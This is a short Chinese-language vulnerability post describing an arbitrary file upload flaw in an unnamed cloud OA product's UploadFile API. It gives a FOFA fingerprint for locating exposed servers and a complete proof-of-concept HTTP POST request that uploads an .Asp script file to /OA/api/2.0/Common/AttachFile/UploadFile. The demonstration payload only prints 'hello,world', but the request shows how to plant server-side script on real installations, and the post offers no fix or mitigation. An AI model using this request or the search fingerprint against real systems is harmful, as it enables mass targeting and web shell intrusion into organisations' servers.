某云OA UploadFile存在任意文件上传漏洞

FoFa：

body="images/yipeoplehover.png"

POC：

POST /OA/api/2.0/Common/AttachFile/UploadFile HTTP/1.1
Host:
pgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNe8DcVuv1vEUWDaR
Content-Length: 191
 
------WebKitFormBoundaryNe8DcVuv1vEUWDaR
Content-Disposition: form-data; name="upload";filename="123.Asp"
 
<% response.write("hello,world") %>
------WebKitFormBoundaryNe8DcVuv1vEUWDaR--